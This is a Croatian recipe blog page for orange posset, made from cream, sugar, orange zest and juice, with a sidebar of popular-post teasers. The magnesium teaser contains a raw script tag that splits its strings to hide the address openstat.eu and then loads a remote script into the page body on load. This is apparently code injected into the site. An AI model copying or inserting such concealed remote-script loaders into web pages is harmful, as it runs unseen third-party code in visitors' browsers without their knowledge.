ORANGE POSSET - DESERT KOJI TREBA ZA LJETO





Orange posset - desert koji treba za ljeto 



Kako nam vremenske prognoze ovih dana sa svih strana komuniciraju kako nas narednih dana čeka pravi toplinski udar, koji će neke potaknuti da se zavuku u hladovine svojih stanova te rashlađuju na svaki mogući način, pronašli smo recept koji savršeno odgovara takvom moodu. Radi se o orange possetu. Ovaj kremasti desert koji se tradicionalno priprema od vrhnja, šećera i citrusa ovog ljeta pripremamo u verziji s narančama, za razliku od proteklih godina kada smo stalno uživali u verzijama s limunima.



Orange posset 


Sastojci (za 4 do 6 porcija):

  • 500 ml slatkog vrhnja za šlag
  • 100 g šećera
  • naribana korica 2 neprskane naranče
  • 120 ml svježe cijeđenog soka od naranče
  • prstohvat soli

Za dekoraciju:

  • fileti svježe naranče
  • naribana korica naranče
  • listići mente
  • usitnjeni pistaciji ili bademi (po želji)



Priprema:

  • U manji lonac ulijte slatko vrhnje i dodajte šećer, prstohvat soli te naribanu koricu naranče. Zagrijavajte na srednje jakoj vatri uz povremeno miješanje dok se šećer potpuno ne otopi. Kada smjesa zavrije, smanjite vatru i kuhajte još tri minute. Važno je da lagano vrije cijelo vrijeme jer će upravo to pomoći stvaranju karakteristične guste teksture.
  • Maknite lonac s vatre i ostavite da se smjesa hladi dvije do tri minute. Umiješajte svježe cijeđeni sok od naranče. Kiselina iz soka reagirat će s vrhnjem i omogućiti desertu da se prirodno stisne tijekom hlađenja. Smjesu dobro promiješajte dok ne postane potpuno glatka.
  • Kako biste dobili savršeno svilenkastu teksturu, smjesu procijedite kroz fino sito. Na taj ćete način ukloniti eventualne komadiće korice i dobiti potpuno glatku kremu.
  • Smjesu rasporedite u čašice, male zdjelice ili izdubljene polovice naranče ako želite atraktivnije posluživanje. Ostavite da se kratko ohladi na sobnoj temperaturi.
  • Posudice premjestite u hladnjak i ostavite najmanje četiri sata, a idealno preko noći.
  • Neposredno prije posluživanja ukrasite filetima naranče, dodatnom koricom citrusa, listićima mente ili nasjeckanim pistacijama.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više